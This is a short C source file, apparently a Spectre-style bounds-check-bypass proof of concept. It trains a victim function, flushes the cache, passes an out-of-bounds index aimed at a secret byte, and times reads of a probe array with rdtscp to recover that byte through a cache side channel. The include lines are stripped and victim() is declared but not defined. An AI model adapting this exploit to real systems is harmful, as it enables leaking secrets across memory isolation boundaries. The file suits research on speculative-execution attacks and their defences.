#include #include #include #include /* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */ #define LLC_SIZE (2 << 20) uint8_t dummy[LLC_SIZE]; size_t array_size = 4; uint8_t array1[200] = {1, 2, 3, 4}; uint8_t array2[256 * 64 * 2]; uint8_t X; uint8_t array3[4096]; uint8_t tmp; uint8_t victim(size_t idx); int main() { unsigned long t[256]; volatile uint8_t x; victim(0); victim(0); victim(0); victim(0); victim(0); memset(dummy, 1, sizeof(dummy)); // flush L2 X = 123; // set the secret value, and also bring it to cache _mm_mfence(); size_t attack_idx = &X - array1; victim(attack_idx); for (int i = 0; i < 256; i++) { unsigned int junk; unsigned long time1 = __rdtscp(&junk); x ^= array2[i * 64]; unsigned long time2 = __rdtscp(&junk); t[i] = time2 - time1; } printf("attack_idx = %ld\n", attack_idx); for (int i = 0; i < 256; i++) { printf("%d: %d, %s\n", i, t[i], (t[i] < 40)? "\x1b[1;31mhit\x1b[m": "miss"); } }